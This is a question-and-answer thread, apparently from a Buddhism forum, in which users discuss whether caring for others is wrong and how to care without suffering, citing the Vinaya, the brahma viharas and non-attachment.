We avoid suffering ourselves while caring by developing wisdom.
Answer: is caring is wrong?
It's not wrong to "care for" someone who is sick or dying: even if they (or you) ultimately die.
The monks were instructed to care for each other -- see for example this story from the vinaya.

Monks, you have no mother, you have no father, who might tend to you. If you don't tend to one another, who then will tend to you? Whoever would tend to me, should tend to the sick.

Otherwise how can we avoid suffering ourselves while caring ?
To avoid suffering perhaps it's wise to avoid attachment to a particular outcome, result.
It's a complicated question: "how to avoid suffering ourselves?" is a central question of Buddhism, and so the answer might be as big as the whole of Buddhism.
A good beginning, according to the Theravada doctrine, might be to develop the brahma viharas:

These four attitudes are said to be excellent or sublime because they are the right or ideal way of conduct towards living beings (sattesu samma patipatti). They provide, in fact, the answer to all situations arising from social contact. They are the great removers of tension, the great peace-makers in social conflict, and the great healers of wounds suffered in the struggle of existence. They level social barriers, build harmonious communities, awaken slumbering magnanimity long forgotten, revive joy and hope long abandoned, and promote human brotherhood against the forces of egotism.
The Brahma-viharas are incompatible with a hating state of mind, ...
Answer: @Iresha Rubasinghe, I understand that caring for others is very much a part of you, but the question that you have is how to avoid having to suffer while caring. You seem to have a lot of good traits that an adult would like to see in the present day youth. It is interesting to note that you are somewhat of the same age as my own son, and is in the same field of Software Engineering.  If I am to have a fervent wish for this coming New Year 2017, it is to see in the present day youth, a new breed in the making, who are compassionate, caring, trustworthy and well-disciplined. Young couples who earlier spent time on film halls and botanic garden shrubs, who would begin to observe Sil with their partners. Then start helping with charities, and became respectable citizens as a by-product of this endeavour. Some of the most fortunate amongst them, who have a special calling, because of their past meritorious deeds, to get to shed all their bindings to the mortal world and became Anagaarikas & Monks.
A law of the universe is the more one gives away, the more one gets. You would not believe it, (that's why you asked this question) yet it is a law of cause and effect. Always believe it and act accordingly, but keep in mind that it will only be effective if the giving is done in purity. We can give our time, our caring, our concern for others' well-being. We have the immediate benefit of happiness in our own heart, when we see the joy we have given to someone else. This is about the only satisfaction we can expect in this life which is of a nature that does not disappear quickly, because we can recollect the deed and our own happiness.
Those who are of the selfish kind would never know of this complete satisfaction, contentment and peacefulness. For them life would only be about getting up, eating breakfast, washing, dressing, thinking and planning, cooking, buying things, talking to people, going to work, going to bed, getting up... over and over again. Is that enough for a lifetime?
We are all concerned about how to change our mind from enmity, hurtfulness and unhappiness, to their opposites. It possible to change the mind, but we have to work towards it, it will take time, and only  gradually will we come to this stage over time. The body doesn't change overnight, to become athletic, and neither does the mind change instantly. But if we don't continually train it, it's just going to stay the same it has always been, which is not conductive to a harmonious and peaceful life. This willingness to change our mind should make it possible to live each day meaningfully, which is the difference between just being alive and living. We would do at least one thing each day, which either entails spiritual growth for ourselves or helpfulness and consideration for others, preferably both. If we add one meaningful day to the next, we wind up with a meaningful life.
Comment: Thank you so much for the really helpful realistic words ma'am. yes that's true, but still mind expects kind of appreciation from the other party to whom we care/ help. Not exactly an appreciation but the thing is its hurtful when that what we care is getting changed. Yes what we should train is to love and care without any attachment which is really hard in practising...
Answer: Misunderstanding leads to suffering! Also if you want to care just for some benefit is misunderstanding as well. Every our action has consequences so to act rightly we need wisdom, we need to be very careful. We have to learn and open our minds. If you want to care you need to know how to do it. You need to know what consequences your action might bring. Don't regret what you've done wrong as long as what you did was done with compassion. As long as you want to help and expect good results of your action you should help/care. But suffering is always present.
Another aspect of caring is transforming ourselves. You should transform your mind and realise how bad is the world that we live. Realising this you should generate even more compassion to others. You can't get rid of suffering of the world, but you can develop 'armour' to protect you from result of suffering (spiritual path, wisdom). You might still suffer in traditional meaning but you can be happy anyway (when you achieve high enough level of spiritual development or wisdom). Just be a good observer of the world, people, emotions (also yours). Remember when things happen I try to figure out the relationship between them. Knowledge with compassion eventually will bring wisdom.
That's what I think about it and believe in it.
Comment: I really like @user10547 answer. I'd like to add something. 1 - people have to be aware of cause and effect all the time. We should know, or at least think of it, what consequences would bring what action, and what action could cause what we experience. 2 Ego - most of the time we want what we want, and we don't think about others really. It's not about relationships with others, but the difference between our attitude towards ourselves and other people. 3 - we have to be honest with ourselves, we have to know what we want. If we know we want to help others, then the problem's solved :)
Answer: It's wrong to cling, not wrong to care. Isn't there a difference? Wrong in that it will lead to suffering. This is why there is the Brahma Viharas. Loving-kindness, compassion, appreciating the success or wellbeing of others and equanimity, they show us how to care with the way lit by mindful insight. Dissolving away the sense of self so one is truly selflessness and caring for others.
To care for yourself it can be very helpful to care for others. It helps to drop the selfishness. A love for everyone is all that remains when one finds themself aware that there is no boundary to selfless emptiness.
Answer: I think that caring is right, good and human.
The only people that do not care are evil people, psicopaths or dead people.
Hate and evil can only be overcome with love and care.
Care is also the basis and precondition of cure. Care is pure friendship.
True care means love with wisdom and without attachment
Comment: Is this a Buddhist answer or totally your own opinion?

Caring is wrong?